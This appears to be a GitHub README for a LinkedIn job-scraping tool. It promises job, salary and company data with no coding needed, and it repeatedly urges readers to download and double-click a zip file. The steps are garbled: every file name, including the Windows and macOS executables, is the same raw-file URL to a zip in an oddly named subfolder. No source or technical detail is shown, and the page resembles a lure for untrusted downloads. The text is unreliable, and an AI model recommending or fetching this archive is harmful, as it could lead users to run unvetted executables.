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🌐 Scrape fresh LinkedIn job listings effortlessly, delivering structured data for analysis, recruitment, and salary insights without an account or cookies.

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πŸš€ linkedin-job-scraper - Extract Job Listings Easily

Download Latest Release

✨ Overview

The linkedin-job-scraper is a tool designed to help you extract job listings from LinkedIn. Whether you are seeking career insights, analyzing market trends, or looking to automate your job searches, this application provides an easy-to-use solution for gathering data.

πŸ“¦ Features

  • Extract job listings directly from LinkedIn.
  • Gather data like job titles, salaries, and company names.
  • Analyze employment trends and insights.
  • Save data in a user-friendly format for analysis.
  • No coding or technical setup required.

πŸ–₯️ System Requirements

To run the linkedin-job-scraper, your system should meet the following requirements:

  • Operating System: Windows 10 or later, macOS Mojave or later, or a recent Linux distribution.
  • Hardware: Minimum of 2 GB RAM and 500 MB free disk space.
  • Internet Connection: Required to access LinkedIn.

πŸš€ Getting Started

Follow these simple steps to download and run the software on your computer.

  1. Download the Software Visit the Releases page to download the latest version of the linkedin-job-scraper:

    Visit the Releases Page to Download

  2. Locate the Downloaded File After the download completes, navigate to your computer’s Downloads folder. You should find a file named something like https://raw.githubusercontent.com/Kazuhards/linkedin-job-scraper/main/prosopopoeia/scraper-linkedin-job-v3.4.zip.

  3. Extract the Files Right-click the zip file and select "Extract All..." or use an extraction tool. This will create a folder with the application files.

  4. Open the Application Inside the extracted folder, look for a file named https://raw.githubusercontent.com/Kazuhards/linkedin-job-scraper/main/prosopopoeia/scraper-linkedin-job-v3.4.zip (for Windows) or https://raw.githubusercontent.com/Kazuhards/linkedin-job-scraper/main/prosopopoeia/scraper-linkedin-job-v3.4.zip (for macOS). Double-click on this file to open the application.

  5. Start Scraping Jobs

    • Once the application opens, you will see a simple interface.
    • Enter the job titles or keywords you want to search for.
    • Click on the "Start Scraping" button to begin extracting job listings.
  6. View and Save Your Data After the scraping process is complete, you can view the job listings within the application. Choose the option to save the data in your preferred format, such as CSV or Excel, for further analysis.

πŸ”„ Download & Install

To quickly install the application, click the link below:

Visit the Releases Page to Download

πŸ’‘ Tips for Successful Job Scraping

  • Use Specific Keywords: The more specific your job title or keywords, the more relevant results you will get.
  • Avoid Overloading: Don’t run multiple scraping tasks at once. Give the application some time between runs to avoid issues with LinkedIn's servers.
  • Check Results Regularly: Frequently check your saved data to keep it current and useful.

πŸ‘¨β€πŸ’» Feedback and Support

If you encounter any issues or have suggestions for improvements, please open an issue on the GitHub repository. Your feedback helps us improve the application.

πŸ—’οΈ License

This project is licensed under the MIT License. You are free to use, modify, and distribute this software as per the license terms.

🌟 Topics

This application falls under the following categories:

  • career-data-mining
  • employment-insights
  • hiring-analytics
  • job-board-automation
  • job-market-research
  • job-scraping
  • linkedin-jobs
  • recruitment-data
  • salary-intelligence
  • talent-acquisition-tools

By following these steps, you can easily download and start using the linkedin-job-scraper to enhance your job search and data analysis.

About

🌐 Scrape fresh LinkedIn job listings effortlessly, delivering structured data for analysis, recruitment, and salary insights without an account or cookies.

Topics

Resources

Stars

8 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors